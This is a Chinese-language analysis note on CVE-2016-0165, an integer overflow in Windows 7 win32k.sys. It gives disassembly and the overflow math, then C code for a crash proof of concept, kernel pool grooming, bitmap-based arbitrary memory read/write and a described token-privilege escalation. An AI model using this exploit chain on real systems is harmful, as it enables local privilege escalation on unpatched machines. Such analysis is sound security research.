CVE-2016-0165 Win32k漏洞分析笔记
字数 1035 2025-08-05 13:25:32

CVE-2016-0165 Win32k漏洞分析与利用

漏洞概述

CVE-2016-0165是Windows内核组件win32k.sys中的一个整数溢出漏洞,位于RGNMEMOBJ::vCreate函数中。该漏洞由于在分配内核池内存块前未对计算的内存块大小参数进行溢出校验,导致可能分配到远小于预期大小的内存块,后续操作时可能触发缓冲区溢出,严重情况下可导致系统蓝屏(BSOD)。

漏洞环境配置

  • 操作系统:Windows 7 x86 SP1
  • 调试工具:WinDbg Preview 1.0.2001.02001

漏洞原理分析

漏洞定位

漏洞位于win32k!RGNMEMOBJ::vCreate函数中,关键问题在于内存分配前的整数运算未进行溢出检查:

.text:BF876200 loc_BF876200:
.text:BF876200                 lea     eax, [ebp+NumberOfBytes]
.text:BF876203                 push    eax             ; unsigned int *
.text:BF876204                 xor     edi, edi
.text:BF876206                 inc     edi
.text:BF876207                 push    edi             ; unsigned int
.text:BF876208                 push    [ebp+NumberOfBytes] ; unsigned int
.text:BF87620B                 call    ?ULongAdd@@YGJKKPAK@Z ; [ebp+NumberOfBytes] = [ebp+NumberOfBytes] + 1
.text:BF876210                 test    eax, eax
.text:BF876212                 jl      loc_BF8763D2
.text:BF876218                 mov     eax, [ebp+NumberOfBytes] ; eax为被乘数
.text:BF87621B                 push    28h
.text:BF87621D                 pop     ecx             ; ecx为乘数
.text:BF87621E                 mul     ecx             ; mul reg32 的答案保存在edx:eax之中
.text:BF876220                 lea     ecx, [ebp+NumberOfBytes]
.text:BF876223                 push    ecx             ; unsigned int *
.text:BF876224                 push    edx
.text:BF876225                 push    eax             ; 结果保存在[ebp+NumberOfBytes]中
.text:BF876226                 call    _ULongLongToULong@12 ; ULongLongToULong(x,x,x)
.text:BF87622B                 test    eax, eax
.text:BF87622D                 jl      loc_BF8763D2
.text:BF876233                 cmp     [ebp+NumberOfBytes], 0
.text:BF876237                 jz      short loc_BF87624E
.text:BF876239                 push    67646547h       ; Tag
.text:BF87623E                 push    [ebp+NumberOfBytes] ; NumberOfBytes
.text:BF876241                 push    21h             ; PoolType
.text:BF876243                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)

关键计算过程

内存分配大小计算公式:

[ebp+NumberOfBytes] = ([ebp+NumberOfBytes] + 1) * 0x28

其中NumberOfBytes来源于PATHOBJ结构的cCurves成员:

typedef struct _PATHOBJ {
  FLONG fl;
  ULONG cCurves;  // 表示当前PATHOBJ对象的曲线数目
} PATHOBJ;

整数溢出条件

在32位系统中,ULONG最大值为0xFFFFFFFF。要触发整数溢出,需要满足:

0x28 * (cCurves + 1) > 0xFFFFFFFF

解得:

cCurves > 0x6666665

但由于EPATHOBJ::vCloseAllFigure函数会修改cCurves值,实际需要:

cCurves > 0x6666664

漏洞触发路径

调用链分析

  1. 用户层入口PolylineTo函数

    BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
    {
      return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
    }
    
  2. 内核层调用NtGdiPolyPolyDrawGrePolylineToEPATHOBJ::bPolyLineTo

  3. 关键函数EPATHOBJ::bPolyLineTo会增加cCurves

    int __thiscall EPATHOBJ::bPolyLineTo(EPATHOBJ *this, struct EXFORMOBJ *a2, struct _POINTL *a3, unsigned int ulCount)
    {
      if ( EPATHOBJ::addpoints(this, a2, &v6) )
        *(this + 1) += ulCount;  // 增加cCurves值
    }
    
  4. 最终触发NtPathToRegionRGNMEMOBJ::vCreate

限制条件

NtGdiPolyPolyDraw函数限制了单次调用的线条总数不超过0x4E2000,因此需要多次调用才能达到触发溢出的数量。

漏洞利用

基本POC构造

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main()
{
    // 初始化点数组
    for (LONG i = 0; i < maxCount; i++) {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    
    HDC hdc = GetDC(NULL);
    BeginPath(hdc);
    
    // 分多次调用PolylineTo以达到所需线条数量
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) {
        PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    
    EndPath(hdc);
    HRGN hRgn = PathToRegion(hdc);  // 触发漏洞
    return 0;
}

内核内存布局

为了提高利用成功率,需要进行精确的内核内存布局:

  1. 创建大量位图对象:占用特定大小的内存块

    for (LONG i = 0; i < 4000; i++) {
        hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);  // 0xF90大小
    }
    
  2. 创建加速器表对象:填充内存间隙

    for (LONG i = 0; i < 5500; i++) {
        ACCEL acckey[0x0D] = { 0 };
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);  // ~0x70大小
    }
    
  3. 释放部分对象:制造内存空洞

    for (LONG i = 2000; i < 4000; i++) {
        DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    

精确控制溢出

  1. 使用剪贴板数据作为垫片

    VOID CreateClipboard(DWORD Size) {
        PBYTE Buffer = (PBYTE)malloc(Size);
        HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, Size);
        CopyMemory(GlobalLock(hMem), Buffer, Size);
        GlobalUnlock(hMem);
        SetClipboardData(CF_TEXT, hMem);
    }
    
    // 创建垫片
    for (LONG i = 0; i < 4000; i++) {
        CreateClipboard(0xB5C);  // 0xB70大小
    }
    
  2. 创建可利用的位图对象

    for (LONG i = 0; i < 4000; i++) {
        hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL);  // 0x420大小
    }
    

定位受影响的位图

PDWORD pBmpHunted = (PDWORD)malloc(0x1000);
LONG index = -1;

for (LONG i = 0; i < 4000; i++) {
    if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0) {
        index = i;  // 找到被覆盖的位图对象
        break;
    }
}
HBITMAP hbmpmain = hbitmap[index];

实现任意地址读写

通过控制主位图对象修改扩展位图对象的pvScan0指针:

BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) {
    pBmpHunted[iExtpScan0] = addr;  // 修改扩展位图的pvScan0
    SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    SetBitmapBits(hBmpExtend, cb, pvBits);  // 实现任意地址写
    return TRUE;
}

提权利用

通过任意地址读写能力修改进程Token的权限标志位,实现权限提升。

参考资源

  1. CVE-2016-0165漏洞分析 - 小刀志
  2. CVE-2016-0165漏洞分析 - 安全客
CVE-2016-0165 Win32k漏洞分析与利用 漏洞概述 CVE-2016-0165是Windows内核组件win32k.sys中的一个整数溢出漏洞,位于 RGNMEMOBJ::vCreate 函数中。该漏洞由于在分配内核池内存块前未对计算的内存块大小参数进行溢出校验,导致可能分配到远小于预期大小的内存块,后续操作时可能触发缓冲区溢出,严重情况下可导致系统蓝屏(BSOD)。 漏洞环境配置 操作系统:Windows 7 x86 SP1 调试工具:WinDbg Preview 1.0.2001.02001 漏洞原理分析 漏洞定位 漏洞位于 win32k!RGNMEMOBJ::vCreate 函数中,关键问题在于内存分配前的整数运算未进行溢出检查: 关键计算过程 内存分配大小计算公式: 其中 NumberOfBytes 来源于 PATHOBJ 结构的 cCurves 成员: 整数溢出条件 在32位系统中,ULONG最大值为0xFFFFFFFF。要触发整数溢出,需要满足: 解得: 但由于 EPATHOBJ::vCloseAllFigure 函数会修改 cCurves 值,实际需要: 漏洞触发路径 调用链分析 用户层入口 : PolylineTo 函数 内核层调用 : NtGdiPolyPolyDraw → GrePolylineTo → EPATHOBJ::bPolyLineTo 关键函数 : EPATHOBJ::bPolyLineTo 会增加 cCurves 值 最终触发 : NtPathToRegion → RGNMEMOBJ::vCreate 限制条件 NtGdiPolyPolyDraw 函数限制了单次调用的线条总数不超过0x4E2000,因此需要多次调用才能达到触发溢出的数量。 漏洞利用 基本POC构造 内核内存布局 为了提高利用成功率,需要进行精确的内核内存布局: 创建大量位图对象 :占用特定大小的内存块 创建加速器表对象 :填充内存间隙 释放部分对象 :制造内存空洞 精确控制溢出 使用剪贴板数据作为垫片 : 创建可利用的位图对象 : 定位受影响的位图 实现任意地址读写 通过控制主位图对象修改扩展位图对象的 pvScan0 指针: 提权利用 通过任意地址读写能力修改进程Token的权限标志位,实现权限提升。 参考资源 CVE-2016-0165漏洞分析 - 小刀志 CVE-2016-0165漏洞分析 - 安全客